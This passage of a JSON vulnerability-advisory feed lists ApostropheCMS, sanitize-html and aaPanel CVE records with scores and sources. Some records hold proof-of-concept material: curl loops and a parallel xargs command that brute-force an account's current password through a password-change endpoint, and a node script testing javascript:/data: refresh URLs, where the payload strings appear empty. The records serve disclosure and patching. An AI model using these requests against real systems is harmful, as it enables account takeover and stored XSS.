page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-m2m5-rw3w-cwmj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-m2m5-rw3w-cwmj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-m2m5-rw3w-cwmj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-m2m5-rw3w-cwmj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-m2m5-rw3w-cwmj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-m2m5-rw3w-cwmj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-m2m5-rw3w-cwmj, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113659&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113659, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113710","cveId":"CVE-2026-113710","aliases":["GHSA-653j-g8j7-gh54"],"kind":"vulnerability","title":"ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing","summary":"**Summary**\nThe self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.\n\n**Exact source path**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:621-664","detail":"**Summary**\nThe self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.\n\n**Exact source path**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:621-664\n\n**The password-change route is:**\nPATCH /api/v1/@apostrophecms/settings/password\n\n**The route calls the password verifier directly through:**\nawait self.handleProtectedSubform(req, subform, req.body );\n\n**The password verification path is:**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:514-542\n\n**async handlePasswordProtectedSubform(req, subform, payload) {\n try {\n await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);\n } catch (e) {\n throw self.apos.error(\n 'forbidden',\n 'apostrophe:passwordCurrentError',\n { path: 'passwordCurrent' }\n );\n }\n return subform;\n}**\n\n**The verifier itself does not increment the login-attempt cache or enforce a delay:**\npackages/apostrophe/modules/@apostrophecms/user/index.js:412-487\n\n**By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:**\npackages/apostrophe/modules/@apostrophecms/login/index.js:831-929\n\n**Local PoC**\nThe test used a disposable authenticated guest session against:\n\nRequest:\n\n```\nPATCH /api/v1/@apostrophecms/settings/password HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: \nContent-Type: application/json\n\n{\n \"password\": \"new-temporary-password\",\n \"passwordRepeat\": \"new-temporary-password\",\n \"passwordCurrent\": \"definitely-wrong-current-password\"\n}\n```\n\n**Equivalent command:**\n\n```\nfor i in 1 2 3 4 5; do\n time curl -i -sS \\\n -b /path/to/temporary-session-cookie-jar.txt \\\n -X PATCH \\\n 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \\\n -H 'Content-Type: application/json' \\\n --data-raw '{\n \"password\": \"new-temporary-password\",\n \"passwordRepeat\": \"new-temporary-password\",\n \"passwordCurrent\": \"definitely-wrong-current-password\"\n }'\ndone\n```\n\n**Observed response**\nAll five attempts returned the same immediate validation response:\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n{\n \"name\": \"forbidden\",\n \"data\": {\n \"path\": \"passwordCurrent\"\n },\n \"message\": \"apostrophe:passwordCurrentError\"\n}\n\nObserved timings were approximately:\nAttempt 1: 231 ms\nAttempt 2: 232 ms\nAttempt 3: 226 ms\nAttempt 4: 229 ms\nAttempt 5: 226 ms\n\nNo attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.\n\nseq 1 20 | xargs -P 20 -I{} sh -c \\\n \"curl --max-time 15 -sS \\\n -o /tmp/password-attempt-{}.body \\\n -w '%{http_code}\\\\n' \\\n -b /path/to/temporary-session-cookie-jar.txt \\\n -X PATCH \\\n 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \\\n -H 'Content-Type: application/json' \\\n --data-raw '{\\\"password\\\":\\\"new-temporary-password-{}\\\",\\\"passwordRepeat\\\":\\\"new-temporary-password-{}\\\",\\\"passwordCurrent\\\":\\\"wrong-current-{}\\\"}'\"\n\nResult:\n20 requests -> HTTP 403 Forbidden\n0 requests -> HTTP 429 Too Many Requests\n0 requests -> lockout response\n\nThe valid password continued to authenticate afterward:\nPOST /api/v1/@apostrophecms/login/login HTTP/1.1\nHTTP/1.1 200 OK\n\nImpact\nAn attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism.\nIf the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously.\nSeverity\nMedium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.33.0","action":"GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:17:50.000Z","updatedAt":"2026-10-20T18:17:55.000Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-653j-g8j7-gh54","asOf":"2026-10-20T18:17:55.000Z"},"epss":{"probability":0.0033,"percentile":0.25892,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113710&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-653j-g8j7-gh54","url":"https://github.com/advisories/GHSA-653j-g8j7-gh54","type":"primary","publishedAt":"2026-10-20T18:17:50.000Z","checkedAt":"2026-10-26T15:45:55.378Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113710&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113710, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113506","cveId":"CVE-2026-113506","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in aaPanel up to 8.25.0. The affected element is the function ExecShell of the file class/public/common.py of the component File Manager.","summary":"A vulnerability has been found in aaPanel up to 8.25.0. The affected element is the function ExecShell of the file class/public/common.py of the component File Manager. The manipulation of the argument sfile/dfile/access/user leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The vendor confirms: \"The reported RCE and LFI vulnerabilities require authentication.\"","detail":"A vulnerability has been found in aaPanel up to 8.25.0. The affected element is the function ExecShell of the file class/public/common.py of the component File Manager. The manipulation of the argument sfile/dfile/access/user leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The vendor confirms: \"The reported RCE and LFI vulnerabilities require authentication.\"\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T18:17:18.633Z","updatedAt":"2026-10-20T19:27:34.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113506","asOf":"2026-10-20T19:27:34.430Z"},"epss":{"probability":0.02077,"percentile":0.81355,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113506&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113506","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113506","type":"primary","publishedAt":"2026-10-20T18:17:18.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113506&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113506, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113661","cveId":"CVE-2026-113661","aliases":["GHSA-cv27-6wvh-8x7j"],"kind":"vulnerability","title":"ApostropheCMS: Incomplete CVE-2026-53606: `meta http-equiv=refresh` `content` still ships `javascript:` / `data:` URLs","summary":"CVE-2026-53606 expanded `allowedSchemesAppliedToAttributes` so named URL attributes (`action`, `formaction`, `data`, `poster`, `background`, later `ping`, `xlink:href`, …) go through `naughtyHref()`. A **URL nested inside `meta` `content`** (`http-equiv=refresh`) is not an attribute name on that list, so the embedded destination is never scheme-checked.\n\nDefault `allowedTags` still omit `meta`. Same non-default integrator config as 53606: allow `meta` plus `http-equiv` / `content`.","detail":"### Summary\n\nCVE-2026-53606 expanded `allowedSchemesAppliedToAttributes` so named URL attributes (`action`, `formaction`, `data`, `poster`, `background`, later `ping`, `xlink:href`, …) go through `naughtyHref()`. A **URL nested inside `meta` `content`** (`http-equiv=refresh`) is not an attribute name on that list, so the embedded destination is never scheme-checked.\n\nDefault `allowedTags` still omit `meta`. Same non-default integrator config as 53606: allow `meta` plus `http-equiv` / `content`.\n\nOn **2.17.7**:\n\n```text\nsanitizeHtml(\n ' ',\n { allowedTags: ['meta'], allowedAttributes: { meta: ['http-equiv', 'content'] } }\n)\n// => \n```\n\n`data:text/html,…` and arbitrary `https:` destinations also survive. `formaction=\"javascript:…\"` (53606) is stripped.\n\nPlease **Request CVE**. Credit: Finder + Reporter (`adrbogacz`).\n\n### Details\n\n`naughtyHref()` only runs when the attribute name is in `allowedSchemesAppliedToAttributes` (`index.js` ~385). Refresh URLs live in a `content` value of the form `0;url=…`, so the gate never fires. Adding `content` to that list wholesale would break ordinary meta `content` (description, viewport).\n\n**Fix:** when `http-equiv` is `refresh` (case-insensitive), parse the `; url=` destination and run `naughtyHref('meta', url)`. Drop `content` (or the tag) if the URL is rejected. Leave other `meta` `content` values alone.\n\n### PoC\n\nLocal `sanitize-html@2.17.7`. Output inspection only:\n\n```text\nnode -e '\nconst sanitize = require(\"sanitize-html\");\nconst opts = { allowedTags: [\"meta\"], allowedAttributes: { meta: [\"http-equiv\", \"content\"] } };\nfor (const html of [\n \" \",\n \" \",\n \" x \",\n]) {\n console.log(html, \"=>\", sanitize(html, html.includes(\"meta\") ? opts : { allowedTags: [\"form\",\"button\"], allowedAttributes: { button: [\"formaction\"] } }));\n}\n'\n```\n\nExpected: refresh `javascript:` / `data:` remain; 53606 `formaction` is removed. Do not attach a browser hang or stored-XSS page.\n\n### Impact\n\nAn integrator who allowed `meta` + `content` expecting `allowedSchemes` to apply (the 53606 configuration pattern) still emits a refresh to `javascript:`, `data:`, or an attacker `https:` URL. Stored XSS / open redirect for viewers of that HTML. Default config is not affected.\n\nAffected package ranges reported by GitHub:\nsanitize-html: < 2.18.0","action":"GitHub lists first patched versions: sanitize-html: 2.18.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:15:33.000Z","updatedAt":"2026-10-20T18:15:34.000Z","regions":["Global"],"vendor":null,"product":"sanitize-html","stacks":["JavaScript packages (npm)","sanitize-html","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-cv27-6wvh-8x7j","asOf":"2026-10-20T18:15:34.000Z"},"epss":{"probability":0.00263,"percentile":0.17929,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113661&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-cv27-6wvh-8x7j","url":"https://github.com/advisories/GHSA-cv27-6wvh-8x7j","type":"primary","publishedAt":"2026-10-20T18:15:33.000Z","checkedAt":"2026-10-26T15:10:57.701Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-cv27-6wvh-8x7j, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-cv27-6wvh-8x7j, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-cv27-6wvh-8x7j, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-cv27-6wvh-8x7j, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-cv27-6wvh-8x7j, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-cv27-6wvh-8x7j, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113661&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113661, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113668","cveId":"CVE-2026-113668","aliases":["GHSA-gqh3-7856-rjjg"],"kind":"vulnerability","title":"ApostropheCMS: :_id/locales REST route omits the public-API authorization gate its sibling read routes enforce (unauthenticated doc-existence + locale metadata disclosure)","summary":"An unauthenticated caller can confirm the existence of a document by `_id` and enumerate its locales/publication state — information the read-API is meant to gate. Defensibly 4.3 (AC:H) given the opaque `_id` precondition (the caller needs a document id).\n \n## How it was verified (local only)\nReproduced against `apostrophe@4.32.2` (== commit `d3ff8c9`) locally with synthetic content:\n- Source review confirmed the `:_id/locales` route lacks `publicApiCheckAsync` while the sibling read routes have it.\n- An **unauthenticated** `GET /api/v1/ / /locales` returned the document's locale metadata (existence + locales), while the gated read routes (e.g. `getAll`) correctly required the public-API policy.\n- Control: the same route with the `publicApiCheckAsync` gate added (matching the siblings) denies the unauthenticated request — isolating the missing gate as the cause.\nSynthetic content only; nothing hosted was touched.\n \n## Remediation\nAdd the `publicApiCheckAsync` (or equivalent) authorization gate to the `:_id/locales` route in both the piece-type and page modules, matching the sibling read routes, so the locale/existence metadata is only returned to callers permitted by the public-API policy.\n \n## Credit\nPlease credit **Santosh Kumar Puppala** (https://github.com/Santoshkumarpuppala).","detail":"## Summary\nThe REST route `GET /api/v1/ /:_id/locales` (and the equivalent page route) does not apply the `publicApiCheckAsync` gate that ApostropheCMS's other read routes enforce. An unauthenticated caller can therefore query this route for any document `_id` and learn whether the document exists and which locales it is published in — a document-existence and locale-metadata disclosure that the read-API is otherwise supposed to gate.\n \n## Affected\n- Repository: `apostrophecms/apostrophe` (monorepo package `apostrophe`).\n- Confirmed at **4.32.2** (commit `d3ff8c9` == the shipped 4.32.2; unchanged at current HEAD). No fix at time of report.\n- Stack: Node.js / Express + MongoDB.\n- Endpoints: `GET /api/v1/ /:_id/locales` and `GET /api/v1/@apostrophecms/page/:_id/locales`.\n\n## Technical detail\n- Unsafe: `modules/@apostrophecms/piece-type/index.js:397` registers the `:_id/locales` route with **no** `publicApiCheckAsync`. The page module has the same omission at `modules/@apostrophecms/page/index.js:925`.\n- Gated siblings: the read routes in the same module (e.g. `getAll` at `piece-type/index.js:256-263`) call `publicApiCheckAsync` (`:263`) to enforce the public-API access policy.\n- So the `locales` handler (which calls `getLocales()` for the document) runs for any caller regardless of the public-API gate the other read routes apply, returning the document's locale/publication metadata without authorization.\n\n## Impact\n\nAn unauthenticated caller can confirm the existence of a document by `_id` and enumerate its locales/publication state — information the read-API is meant to gate. Defensibly 4.3 (AC:H) given the opaque `_id` precondition (the caller needs a document id).\n \n## How it was verified (local only)\nReproduced against `apostrophe@4.32.2` (== commit `d3ff8c9`) locally with synthetic content:\n- Source review confirmed the `:_id/locales` route lacks `publicApiCheckAsync` while the sibling read routes have it.\n- An **unauthenticated** `GET /api/v1/ / /locales` returned the document's locale metadata (existence + locales), while the gated read routes (e.g. `getAll`) correctly required the public-API policy.\n- Control: the same route with the `publicApiCheckAsync` gate added (matching the siblings) denies the unauthenticated request — isolating the missing gate as the cause.\nSynthetic content only; nothing hosted was touched.\n \n## Remediation\nAdd the `publicApiCheckAsync` (or equivalent) authorization gate to the `:_id/locales` route in both the piece-type and page modules, matching the sibling read routes, so the locale/existence metadata is only returned to callers permitted by the public-API policy.\n \n## Credit\nPlease credit **Santosh Kumar Puppala** (https://github.com/Santoshkumarpuppala).\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.33.0","action":"GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:14:32.000Z","updatedAt":"2026-10-20T18:14:33.000Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-gqh3-7856-rjjg","asOf":"2026-10-20T18:14:33.000Z"},"epss":{"probability":0.00322,"percentile":0.24992,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113668&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-gqh3-7856-rjjg","url":"https://github.com/advisories/GHSA-gqh3-7856-rjjg","type":"primary","publishedAt":"2026-10-20T18:14:32.000Z","checkedAt":"2026-10-26T15:10:57.701Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-gqh3-7856-rjjg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-gqh3-7856-rjjg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-gqh3-7856-rjjg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-gqh3-7856-rjjg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-gqh3-7856-rjjg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-gqh3-7856-rjjg, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113668&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113668, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113670","cveId":"CVE-2026-113670","aliases":["GHSA-2j32-q6rx-h844"],"kind":"vulnerability","title":"ApostropheCMS: Page REST API authorization bypass","summary":"**Summary**\nThe core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and 